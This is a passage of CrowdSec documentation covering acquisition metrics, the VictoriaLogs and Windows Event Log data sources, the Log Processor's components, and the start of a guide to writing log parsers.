[prometheus](https://docs.crowdsec.net/docs/next/observability/prometheus.md) instrumentation exposes metrics about acquisition and data sources. Those can as well be viewed via `cscli metrics` : SHCOPY ``` INFO[19-08-2021 06:33:31 PM] Acquisition Metrics: +-----------------------------------------------+------------+--------------+----------------+------------------------+ | SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET | +-----------------------------------------------+------------+--------------+----------------+------------------------+ | file:/var/log/auth.log | 1231 | 580 | 651 | 896 | | file:/var/log/kern.log | 6035 | - | 6035 | - | | file:/var/log/messages | 6035 | - | 6035 | - | | file:/var/log/nginx/error.log | 5 | - | 5 | - | | file:/var/log/nginx/xxxxx.ro-http.access.log | 10 | 5 | 5 | 11 | | file:/var/log/nginx/xxxxx.ro-https.access.log | 29 | 29 | - | 30 | | file:/var/log/syslog | 6062 | - | 6062 | - | +-----------------------------------------------+------------+--------------+----------------+------------------------+ ``` The columns are : | Name | Explanation | | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | SOURCE | Datasource in the format medium://details. (ie. `file:///path/to/log`) | | LINES READ | Number of lines read from the given source since agent startup | | LINES PARSED | Number of lines *successfully* parsed by every parser the line was submitted to | | LINES UNPARSED | Number of lines *unsuccessfully* parsed by at least one parser the line was submitted to | | LINES POURED TO BUCKET | How many individual events were poured to bucket from this source. One line can be submitted to more than one scenario, and thus can be higher than `LINES READ` or `LINES PARSED` | --- # VictoriaLogs This module allows the `Security Engine` to acquire logs from VictoriaLogs query. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") This will allow to read logs from VictoriaLogs, using the query `app:nginx`. YAMLCOPY ``` source: victorialogs mode: tail log_level: info url: http://localhost:9428/ limit: 1000 query: | app:nginx auth: username: something password: secret labels: type: nginx ``` info The reader will always start at "now" for `tail` mode. Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `mode`[โ€‹](#mode "Direct link to mode") Mode to fetch the logs, supported values: `tail` and `cat`. Defaults to `tail`. ### `url`[โ€‹](#url "Direct link to url") The VictoriaLogs URL to connect to. Required. ### `prefix`[โ€‹](#prefix "Direct link to prefix") The VictoriaLogs prefix (present in http path, useful if VictoriaLogs is behind a reverse-proxy). Defaults to `/`. ### `query`[โ€‹](#query "Direct link to query") The [VictoriaLogs query](https://docs.victoriametrics.com/victorialogs/logsql/). Required. Note that `tail` requests have limitations for operators used query. See [this doc](https://docs.victoriametrics.com/victorialogs/querying/#live-tailing) for the details. ### `limit`[โ€‹](#limit "Direct link to limit") The maximum number of messages to be retried from VictoriaLogs at once. ### `headers`[โ€‹](#headers "Direct link to headers") Allows you to specify headers to be sent to VictoriaLogs, in the format: YAMLCOPY ``` headers: foo: bar AccountID: 0 ProjectID: 0 ``` See this doc for more information: [VictoriaLogs headers](https://docs.victoriametrics.com/victorialogs/querying/#http-api) ### `wait_for_ready`[โ€‹](#wait_for_ready "Direct link to wait_for_ready") The retry interval at startup before giving on VictoriaLogs. Defaults to `10 seconds`. ### `auth`[โ€‹](#auth "Direct link to auth") Login/password authentication for VictoriaLogs, in the format: YAMLCOPY ``` auth: username: someone password: something ``` ### `max_failure_duration`[โ€‹](#max_failure_duration "Direct link to max_failure_duration") The maximum duration VictoriaLogs is allowed to be unavailable (once startup is successful) before giving up on the data source. Default to `30 seconds`. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") All the parameters above are available via DNS (one-shot mode), plus the following ones: ### `ssl`[โ€‹](#ssl "Direct link to ssl") if present, scheme will be set to `https` ### `since`[โ€‹](#since "Direct link to since") Allows to set the "start" duration for VictoriaLogs query. ### `log_level`[โ€‹](#log_level "Direct link to log_level") Set the `log_level` for VictoriaLogs datasource. SHCOPY ``` crowdsec -type foobar -dsn 'victorialogs://login:password@localhost:9428/?query=server:"demoVictoriaLogsVictoriaLogs"' ``` --- # Windows Event Log This module allows the `Security Engine` to acquire logs from the Windows Event Log. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor all events with the ID 4625, from the `Security` channel (ie, authentication failed): YAMLCOPY ``` source: wineventlog log_level: info event_channel: Security event_ids: - 4625 event_level: information labels: type: eventlog ``` You can also write a custom XPath query: YAMLCOPY ``` source: wineventlog xpath_query: | labels: type: eventlog ``` ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `event_channel`[โ€‹](#event_channel "Direct link to event_channel") The name of the channel to read events from. Must be set if `xpath_query` is not set. ### `event_level`[โ€‹](#event_level "Direct link to event_level") The log level of the events to read. Must be one of `VERBOSE`, `INFORMATION`, `WARNING`, `ERROR` or `CRITICAL`. Only used if `event_channel` is specified. ### `event_ids`[โ€‹](#event_ids "Direct link to event_ids") List of event IDs you want to match. Only used if `event_channel` is specified. ### `xpath_query`[โ€‹](#xpath_query "Direct link to xpath_query") A custom XPath query to read events. Must be set if `event_channel` is not set. You can refer to the Windows documentation for more informations: ### `pretty_name`[โ€‹](#pretty_name "Direct link to pretty_name") Pretty name to use for the datasource in the metrics (`cscli metrics`). This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module supports acquisition directly from the command line, to replay content from event files. A single wineventlog URI is accepted with the `-dsn` parameter: SHCOPY ``` crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx ``` ### Supported parameters[โ€‹](#supported-parameters "Direct link to Supported parameters") #### `log_level`[โ€‹](#log_level "Direct link to log_level") Change the log level for the acquisition: SHCOPY ``` crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?log_level=debug ``` #### `event_id`[โ€‹](#event_id "Direct link to event_id") Only process events with this ID. This parameter can be specified multiple times to filter on multiple IDs. SHCOPY ``` crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?event_id=1&event_id=2 ``` #### `event_level`[โ€‹](#event_level-1 "Direct link to event_level-1") Only process events with this level. Must be a number between 0 and 5. The mapping between the number and the textual representation of the level is: | Text | Number | | ----------- | ------ | | INFORMATION | 0 | | CRITICAL | 1 | | ERROR | 2 | | WARNING | 3 | | INFORMATION | 4 | | VERBOSE | 5 | --- # Introduction The Log Processor is a core component of the Security Engine. It: * Reads logs from [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) via Acquistions. * Parses logs and extract relevant information using [Parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md). * Enriches the parsed information with additional context such as GEOIP, ASN using [Enrichers](https://docs.crowdsec.net/docs/next/log_processor/parsers/enricher.md). * Monitors patterns of interest via [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * Pushes alerts to the Local API (LAPI), where alert/decisions are stored. * Read logs from datasources * Parse the logs * Enrich the parsed information * Monitor the logs for patterns of interest ## Log Processor[โ€‹](#log-processor "Direct link to Log Processor") The Log Processor reads logs from Data Sources, parses and enriches them, and monitors them for patterns of interest. Once a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. All subcategories below are related to the Log Processor and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the Log Processor. ## Data Sources[โ€‹](#data-sources "Direct link to Data Sources") Data Sources are individual modules that can be loaded at runtime by the Log Processor to read logs from various sources. To use a Data Source, you will need to create an acquisition configuration file. ### Acquistions[โ€‹](#acquistions "Direct link to Acquistions") Acquisitions are the configuration files that define how the Log Processor should read logs from a Data Source. Acquisitions are defined in YAML format and are loaded by the Log Processor at runtime. We support two ways to define Acquisitions in the [configuration directory](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-is-configuration-stored): * `acquis.yaml` file: the legacy, single-file configuration (still supported) * `acquis.d` directory: a directory of multiple acquisition files (since v1.5.0, recommended for any non-trivial setup) Example Acquisition Configuration YAMLExample Acquisition ConfigurationCOPY ``` ## /etc/crowdsec/acquis.d/file.yaml source: file ## The Data Source module to use filenames: - /tmp/foo/*.log - /var/log/syslog labels: type: syslog ``` For more information on Data Sources and Acquisitions, see the [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) documentation. ## Collections[โ€‹](#collections "Direct link to Collections") Collections are used to group together Parsers, Scenarios, and Enrichers that are related to a specific application. For example the `crowdsecurity/nginx` collection contains all the Parsers, Scenarios, and Enrichers that are needed to parse logs from an NGINX web server and detect patterns of interest. You can see all available collections on the [Hub](https://app.crowdsec.net/hub/collections). ### Parsers[โ€‹](#parsers "Direct link to Parsers") The parsing pipeline is broken down into multiple stages: * `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. * `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc. You can see more information on Parsers in the [documentation](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md). ### Scenarios[โ€‹](#scenarios "Direct link to Scenarios") Scenarios are the patterns of interest that the Log Processor is monitoring for. When a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. The patterns can be as simple as tracking the number of failed login attempts or as complex as tracking logging in from multiple countries within a short period of time which can be a indicator of a compromised account or VPN usage. The community provides a number of scenarios on the [Hub](https://hub.crowdsec.net/) that you can install and use. If you would like to create your own, see the [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md) documentation. ### whitelists[โ€‹](#whitelists "Direct link to whitelists") Whitelists are used to exclude certain events from being processed by the Log Processor. For example, you may want to exclude certain IP addresses from being processed by the Log Processor. You can see more information on Whitelists in the [documentation](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). ### Alert Context[โ€‹](#alert-context "Direct link to Alert Context") Alert Context is additional context that can sent with an alert to the LAPI. This context can be shown locally via `cscli` or within the [CrowdSec Console](https://app.crowdsec.net/signup) if you opt in to share context when you enroll your instance. You can read more about Alert Context in the [documentation](https://docs.crowdsec.net/docs/next/log_processor/alert_context/intro.md). ### Service Discovery & Setup[โ€‹](#service-discovery--setup "Direct link to Service Discovery & Setup") On installation, CrowdSec can automatically detect existing services, download the relevant Hub collections, and generate acquisitions based on discovered log files. You can [customize or override these steps](https://docs.crowdsec.net/docs/next/log_processor/service-discovery-setup/intro.md), for example when provisioning multiple systems or using configuration management tools. --- # Creating parsers ## Foreword[โ€‹](#foreword "Direct link to Foreword") This documentation assumes you're trying to create a parser for crowdsec with the intent of submitting to the hub, and thus create the associated functional testing. The creation of said functional testing will guide our process and will make it easier. We're going to create a parser for the imaginary service "myservice" that produce three types of logs via syslog : TEXTCOPY ``` Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' ``` As we are going to parse those logs to further detect bruteforce and user-enumeration attacks, we're simply going to "discard" the last type of logs. There's a [yaml schema available](https://github.com/crowdsecurity/crowdsec-yaml-schemas/blob/main/parser_schema.yaml) for the parser and linked at [SchemaStore](https://github.com/SchemaStore/schemastore/blob/master/src/api/json/catalog.json) for general public availability inside most common editors. You will be able see if the parser comply to the schema directly in your editor, and you will have some kind of syntax highlighting and suggestions. The only requirement for this is to write your parser using the directory structure of the hub to make the editor detects that the file has to comply to the yaml schema. This means that you will have to write the parser in one subdirectory of the `parsers/s00-raw`, `parsers/s01-parse`, `parsers/s02-enrich`, `postoverflows/s00-enrich`, `postoverflows/s01-whitelist`. This subdirectory is named after your name, or your organization name. As an example `parsers/s01-parse/crowdsecurity/sshd-logs.yaml` matches this directory structure. Note that extension of the parser has to `.yaml`. There're also mouseover description available ![Possible integration](/assets/images/mouseover-084e13bf1db2e3e0cc8d1028f1e65464.png) Error detection when the file is not schema compliant ![Possible integration](/assets/images/typo-dd0d7d181eaa06443a94fa9aa2d229d7.png) The error message can be useful when one wants to understand why the parser file isn't schema compliant ![Possible integration](data:image/png;base64,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